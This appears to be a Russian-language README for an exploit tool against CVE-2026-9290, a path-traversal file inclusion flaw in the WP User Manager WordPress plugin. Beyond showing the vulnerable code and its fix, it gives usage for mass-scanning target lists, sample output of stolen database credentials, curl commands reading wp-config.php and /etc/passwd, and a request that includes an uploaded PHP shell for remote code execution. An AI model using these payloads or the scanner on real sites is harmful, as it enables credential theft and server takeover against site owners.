CVE-2026-9290

// Уязвимо: отсутствует проверка $tab по белому списку
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);

// class-gamajo-template-loader.php строка 226
include($template_path . $tab . '.php');

GET /profile/?tab=../../../wp-config
  → wpum_get_active_profile_tab('../../../wp-config')
  → Gamajo_Template_Loader::include('../../../wp-config.php')
  → wp-config.php включен → данные для подключения к БД раскрыты

// Исправлено: проверка на соответствие зарегистрированным вкладкам
if (!array_key_exists($tab, $registered_tabs)) {
    $tab = 'profile'; // возврат к значению по умолчанию
}

git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt

# Одиночная цель — проверка LFI
python cve_2026_9290.py -t target.com

# Массовое сканирование
python cve_2026_9290.py -f targets.txt -v

# Чтение конкретного файла через LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"

# Сохранение результатов
python cve_2026_9290.py -f targets.txt -o lfi.txt

  -t, --target      Одиночная цель (домен или IP)
  -f, --file        Список целей, по одной на строку
  --read PATH       Прочитать конкретный файл через LFI
  -o, --output      Сохранить результаты в файл
  --threads         Количество потоков (по умолчанию: 25)
  -v, --verbose     Показать подробный вывод

$ python cve_2026_9290.py -t target.com -v

  CVE-2026-9290 — WP User Manager LFI → RCE Exploit
  CVSS 7.5 | Без аутентификации | Обход пути через параметр 'tab'

    [+] WP User Manager обнаружен
    [+] Страница профиля: /profile/
    [+] LFI подтвержден: wp-config.php (учетные данные БД)
    [+] Предпросмотр содержимого: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');

  Хост     : target.com
  WPUM     : ДА
  LFI      : ДА
  Файл     : wp-config.php (учетные данные БД)
  Время    : 3.2с

  [LFI]     target-1.com        3.2с  wp-config.php (учетные данные БД)
            define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
  [LFI]     target-2.com        4.1с  wp-config.php (учетные данные БД)
            define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
  [200/5458] 3%  |  WPUM:12  LFI:5  |  current-target.com

curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3

curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'

# Чтение wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'

# Чтение /etc/passwd  
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'

# RCE — включение загруженной PHP-оболочки
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'

1. LFI → чтение wp-config.php → получение учетных данных БД
2. Загрузка PHP-оболочки через другой плагин/медиа-точку
3. LFI → включение загруженной оболочки → RCE